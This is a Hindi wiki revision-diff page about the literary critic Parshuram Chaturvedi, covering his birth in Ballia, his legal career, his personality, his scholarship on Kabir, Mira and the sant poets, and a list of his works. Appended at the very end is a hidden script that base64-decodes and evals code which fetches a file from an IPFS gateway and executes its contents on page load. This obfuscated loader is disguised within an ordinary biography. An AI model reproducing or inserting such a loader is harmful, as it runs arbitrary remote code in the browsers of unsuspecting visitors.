परशुराम चतुर्वेदी: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) m (Adding category Category:समीक्षक (को हटा दिया गया हैं।)) |
No edit summary |
||
Line 32: | Line 32: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''आचार्य परशुराम चतुर्वेदी''' ([[अंग्रेज़ी]]: ''Parshuram Chaturvedi'', जन्म: [[25 जुलाई]], [[1894]] - मृत्यु: [[3 जनवरी]], [[1979]]) परिश्रमशील विद्वान शोधकर्मी समीक्षक थे। | '''आचार्य परशुराम चतुर्वेदी''' ([[अंग्रेज़ी]]: ''Parshuram Chaturvedi'', जन्म: [[25 जुलाई]], [[1894]] - मृत्यु: [[3 जनवरी]], [[1979]]) परिश्रमशील विद्वान शोधकर्मी समीक्षक थे। इनका जन्म [[उत्तर प्रदेश]] के [[बलिया]] में हुआ। इनकी शिक्षा [[इलाहाबाद]] तथा वाराणसी विश्वविद्यालय में हुई। वे पेशे से वकील थे, किंतु आध्यात्मिक साहित्य में उनकी गहरी रूचि थी। [[संस्कृत]] तथा [[हिन्दी]] की अनेक उपभाषाओं के वे पंडित थे। | ||
==व्यक्तित्व== | ==व्यक्तित्व== | ||
परशुराम चतुर्वेदी का व्यक्तित्व सहज था। वे सरल स्वभाव के थे। स्नेह और सौहार्द के प्रतिमूर्ति थे। इकहरा शरीर, गौरवर्ण, मध्यम कद काठी और सघन सफेद मूंछें उनके बड़प्पन को प्रकाशित करने के लिये पर्याप्त थीं। उनके मुख मंडल पर परंपरागत साहित्य की कोई विकृति की रेखा नहीं देखी गयी बल्कि एक निश्चित दीप्ति सदा थिरकती रही जिससे बंधुता एवं मैत्री भाव विकीर्ण होता रहता था। चतुर्वदी जी महान अन्नवेषक थे। मनुष्य की चिंतन परंपरा की खोज में उन्होंने संत साहित्य का गहन अध्ययन किया। वे मुक्त चिंतन के समर्थक थे इसलिये किसी सम्प्रदाय या झंडे के नीचे बंधकर रहना पसंद नहीं किया। साहित्य में विकासवादी सिद्धांत के पक्षधर थे। उनकी विद्वता के आगे बड़े-बड़ों को हमेशा झुकते देखा गया। उनका जीवन मानवता के कल्याण के प्रति समर्पित था। | परशुराम चतुर्वेदी का व्यक्तित्व सहज था। वे सरल स्वभाव के थे। स्नेह और सौहार्द के प्रतिमूर्ति थे। इकहरा शरीर, गौरवर्ण, मध्यम कद काठी और सघन सफेद मूंछें उनके बड़प्पन को प्रकाशित करने के लिये पर्याप्त थीं। उनके मुख मंडल पर परंपरागत साहित्य की कोई विकृति की रेखा नहीं देखी गयी बल्कि एक निश्चित दीप्ति सदा थिरकती रही जिससे बंधुता एवं मैत्री भाव विकीर्ण होता रहता था। चतुर्वदी जी महान अन्नवेषक थे। मनुष्य की चिंतन परंपरा की खोज में उन्होंने संत साहित्य का गहन अध्ययन किया। वे मुक्त चिंतन के समर्थक थे इसलिये किसी सम्प्रदाय या झंडे के नीचे बंधकर रहना पसंद नहीं किया। साहित्य में विकासवादी सिद्धांत के पक्षधर थे। उनकी विद्वता के आगे बड़े-बड़ों को हमेशा झुकते देखा गया। उनका जीवन मानवता के कल्याण के प्रति समर्पित था। |
Revision as of 12:52, 16 July 2014
परशुराम चतुर्वेदी
| |
पूरा नाम | आचार्य परशुराम चतुर्वेदी |
जन्म | 25 जुलाई, 1894 |
जन्म भूमि | बलिया, उत्तर प्रदेश |
मृत्यु | 3 जनवरी, 1979 |
कर्म-क्षेत्र | समीक्षक, लेखक |
भाषा | संस्कृत तथा हिन्दी |
नागरिकता | भारतीय |
अन्य जानकारी | मनुष्य की चिंतन परंपरा की खोज में उन्होंने संत साहित्य का गहन अध्ययन किया। साहित्य में विकासवादी सिद्धांत के पक्षधर थे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
आचार्य परशुराम चतुर्वेदी (अंग्रेज़ी: Parshuram Chaturvedi, जन्म: 25 जुलाई, 1894 - मृत्यु: 3 जनवरी, 1979) परिश्रमशील विद्वान शोधकर्मी समीक्षक थे। इनका जन्म उत्तर प्रदेश के बलिया में हुआ। इनकी शिक्षा इलाहाबाद तथा वाराणसी विश्वविद्यालय में हुई। वे पेशे से वकील थे, किंतु आध्यात्मिक साहित्य में उनकी गहरी रूचि थी। संस्कृत तथा हिन्दी की अनेक उपभाषाओं के वे पंडित थे।
व्यक्तित्व
परशुराम चतुर्वेदी का व्यक्तित्व सहज था। वे सरल स्वभाव के थे। स्नेह और सौहार्द के प्रतिमूर्ति थे। इकहरा शरीर, गौरवर्ण, मध्यम कद काठी और सघन सफेद मूंछें उनके बड़प्पन को प्रकाशित करने के लिये पर्याप्त थीं। उनके मुख मंडल पर परंपरागत साहित्य की कोई विकृति की रेखा नहीं देखी गयी बल्कि एक निश्चित दीप्ति सदा थिरकती रही जिससे बंधुता एवं मैत्री भाव विकीर्ण होता रहता था। चतुर्वदी जी महान अन्नवेषक थे। मनुष्य की चिंतन परंपरा की खोज में उन्होंने संत साहित्य का गहन अध्ययन किया। वे मुक्त चिंतन के समर्थक थे इसलिये किसी सम्प्रदाय या झंडे के नीचे बंधकर रहना पसंद नहीं किया। साहित्य में विकासवादी सिद्धांत के पक्षधर थे। उनकी विद्वता के आगे बड़े-बड़ों को हमेशा झुकते देखा गया। उनका जीवन मानवता के कल्याण के प्रति समर्पित था।
कबीर को ख़्याति दिलाने में अहम योगदान
बहुत कम लोग जानते हैं कि कबीर को जाहिलों की कोह में से निकाल कर विद्वानों की पांत में बैठाने का काम आचार्य परशुराम चतुर्वेदी ने ही किया था। कबीर के काव्य रूपों, पदावली, साखी और रमैनी का जो ब्यौरा, विस्तार और विश्लेषण आचार्य परशुराम चतुर्वेदी ने परोसा है, और ढूंढ ढूंढ कर परोसा है, वह आसान नहीं था। फिर बाद में आचार्य हजारी प्रसाद द्विवेदी सरीखों ने कबीर को जो प्रतिष्ठा दिलाई, कबीर को कबीर बनाया, वह आचार्य परशुराम चतुर्वेदी के किए का ही सुफल और विस्तार था, कुछ और नहीं। दादू, दुखहरन, धरनीदास, भीखराम, टेराम, पलटू जैसे तमाम विलुप्त हो चुके संत कवियों को उन्होंने जाने कहां-कहां से खोजा, निकाला और उन्हें प्रतिष्ठापित किया। संत साहित्य के पुरोधा जैसे विशेषण उन्हें यूं ही नहीं दिया जाता। मीरा पर भी आचार्य परशुराम चतुर्वेदी ने जो काम किये वे अविरल हैं। गांव-गांव, मंदिर-मंदिर जो घूमे, यहां तक कि मीरा के परिवार के महाराजा अनूप सिंह से भी मिले तो यह आसान नहीं था। कुछ लोग तो उन्हें गड़े मुर्दे उखाड़ने वाला बताने लगे थे पर जब उन की किताबें छप-छप कर डंका बजा गईं तो यह ‘गड़े मुर्दे उखाड़ने वाले’ की जबान पर ताले लग गए। उत्तरी भारत की संत साहित्य की परख, संत साहित्य के प्रेरणा स्रोत, हिंदी काव्य धारा में प्रेम प्रवाह, मध्य कालीन प्रेम साधना, सूफी काव्य संग्रह, मध्य कालीन श्रृंगारिक प्रवृत्तियां, बौद्ध साहित्य की सांस्कृतिक झलक, दादू दयाल ग्रंथावली, मीराबाई की पदावली, संक्षिप्त राम चरित मानस और कबीर साहित्य की परख जैसी उन की किताबों की फेहरिस्त बहुत लंबी नहीं तो छोटी भी नहीं है। ‘शांत रस एक विवेचन’ में शांत रस का जो छोटा-छोटा ब्यौरा वह परोसते हैं, वह दुर्लभ है। अजीब संयोग है कि बलिया में गंगा के किनारे के गांव में आचार्य हजारी प्रसाद द्विवेदी जन्मे और दूसरे किनारे के गांव जवहीं में आचार्य परशुराम चतुर्वेदी जन्मे। दोनों ही प्रकांड पंडित हुए। पर आचार्य हजारी प्रसाद द्विवेदी प्रसिद्धि का शिखर छू गए। और आचार्य परशुराम चतुर्वेदी ने विद्वता का शिखर छुआ। पर प्रसिद्धि जितनी उन्हें मिलनी चाहिए थी उतनी नहीं मिली। तो यह हिंदी वालों का ही दुर्भाग्य है, आचार्य परशुराम चतुर्वेदी का नहीं।[1]
प्रसिद्ध कृतियाँ
- ‘नव निबंध’ (1951)
- ‘हिन्दी काव्यधारा में प्रेम प्रवाह’ (1952)
- ‘मध्यकालीन प्रेम साधना’ (1952)
- ‘कबीर साहित्य की परख’ (1954)
- ‘भारतीय साहित्य की सांस्कृतिक रेखाएँ’ (1955)
- ‘संत साहित्य की परख’।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ पांडेय, दयानंद। क्या प्रकांड पंडित होना इतना बड़ा पाप है? (हिंदी) सरोकारनामा। अभिगमन तिथि: 22 मार्च, 2014।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>